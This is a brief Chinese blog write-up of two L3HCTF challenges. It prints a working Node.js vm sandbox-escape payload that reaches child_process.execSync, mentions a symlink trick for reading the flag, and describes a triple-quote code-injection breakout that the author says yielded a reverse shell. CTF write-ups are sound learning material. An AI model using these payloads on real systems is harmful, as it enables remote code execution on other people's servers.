L3HCTF 2024-02-05 默认分类 944 次阅读 escape-web根据报错知道是vm逃逸,直接搜payloadObject.defineProperty(Promise, Symbol.hasInstance, {value: ()=>false}); async function fn() { (function stack() { new Error().stack; stack(); })(); } p = fn(); p.constructor = { [Symbol.species]: class FakePromise { constructor(executor) { executor( (x) => x, (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('ls >&2'); } ) } } }; p.then();但是flag在容器外,不知道怎么逃逸。看了wp说是ln -s /flag /app/output.txt,可能是把主机的什么文件映射到Docker里,所以可以软链接读取。不懂intractable problem非预期 主要是因为拼接code的时候没有过滤''',所以我们就能通过'''来逃出code 我们用两个'''来进行闭合,相当于在code赋值之后多加了我们的payload语句。 成功反弹。